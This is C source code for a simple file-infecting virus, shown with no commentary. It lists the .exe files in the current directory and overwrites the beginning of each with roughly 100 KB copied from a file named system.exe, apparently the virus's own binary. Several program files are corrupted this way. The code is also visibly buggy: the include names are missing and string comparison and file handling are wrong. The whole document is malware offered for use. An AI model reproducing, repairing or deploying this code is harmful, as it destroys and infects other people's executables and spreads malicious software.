#include #include #include #include FILE *list,*virus,*host; char buff[2048]; int done; char file_name[2048]; int x = 103974; int main(void){ list = fopen("temp.txt","rb"); if(list == NULL) { system ( " dir /b *.exe > temp.txt " ); } fclose(list); list = fopen("temp.txt","r"); if(list == NULL) { printf("No .exe to infect"); } else { while(fgets(file_name,2048,list) != NULL) { file_name[strlen(file_name) - 1] = '\0'; virus = fopen("system.exe","rb"); host = fopen(file_name,"rb+"); if(host == NULL) { printf("No Host\n"); goto next; } else if (file_name != "system.exe") { printf("Host %s\n",file_name); while(x>2048) { printf("writing\n"); fread(buff,2048,1,virus); fwrite(buff,2048,1,host); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,host); } fclose(virus); fclose(host); } } next: fclose(list); }